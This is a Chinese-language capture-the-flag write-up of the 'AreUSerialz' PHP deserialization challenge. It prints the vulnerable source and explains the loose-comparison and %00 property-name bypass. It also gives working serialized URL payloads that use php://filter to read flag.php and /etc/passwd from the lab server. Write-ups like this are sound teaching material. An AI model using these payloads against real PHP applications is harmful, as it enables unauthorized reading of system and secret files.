[網鼎杯 2020 青龍組]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
PHP反序列化漏洞,比賽的時候做出來了,在buuoj上再復現記錄一下。
查看代碼可以看出來,GET方式傳入序列化的str字符串,str字符串中每一個字符的ASCII范圍在32到125之間,然后對其反序列化。
在反序列化的過程中,調用__destruct析構方法
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
如果op==="2",將其賦為"1",同時content賦為空,進入process函數,需要注意到的地方是,這里op與"2"比較的時候是強類型比較
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
進入process函數后,如果op=="1",則進入write函數,若op=="2",則進入read函數,否則輸出報錯,可以看出來這里op與字符串的比較變成了弱類型比較==。
所以我們只要令op=2,這里的2是整數int。當op=2時,op==="2"為false,op=="2"為true,接着進入read函數
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
filename是我們可以控制的,接着使用file_get_contents函數讀取文件,我們此處借助php://filter偽協議讀取文件,獲取到文件后使用output函數輸出
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
整個利用思路就很明顯了,還有一個需要注意的地方是,$op,$filename,$content三個變量權限都是protected,而protected權限的變量在序列化的時會有%00*%00字符,%00字符的ASCII碼為0,就無法通過上面的is_valid函數校驗。
<?php
class FileHandler {
protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
// $this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
// $this->process();
}
}
$A=new FileHandler();
$B=serialize($A);
echo $B;
運行之后,這三個箭頭指向的地方字符顯示不正確的地方就是%00字符

在這里有幾種繞過的方式,簡單的一種是:php7.1+版本對屬性類型不敏感,本地序列化的時候將屬性改為public進行繞過即可
即:
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
現在得到的結果就沒有%00字符了

buuoj平台復現的話使用上面這個payload就已經可以讀取flag了:
http://82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}

比賽的時候還有相對路徑和絕對路徑的問題,需要拿到絕對路徑才能讀取flag
可以先嘗試讀取/etc/passwd檢驗自己的payload是否正確,然后再讀取服務器上的配置文件,猜出flag.php所在的絕對路徑,再將其讀取。
http://82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:60:%22php://filter/read=convert.base64-encode/resource=/etc/passwd%22;s:7:%22content%22;N;}
下面這個payload是比賽的時候用的,buuoj上環境路徑不一樣。
http://82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:67:%22php://filter/read=convert.base64-encode/resource=/web/html/flag.php%22;s:7:%22content%22;N;}
以上。
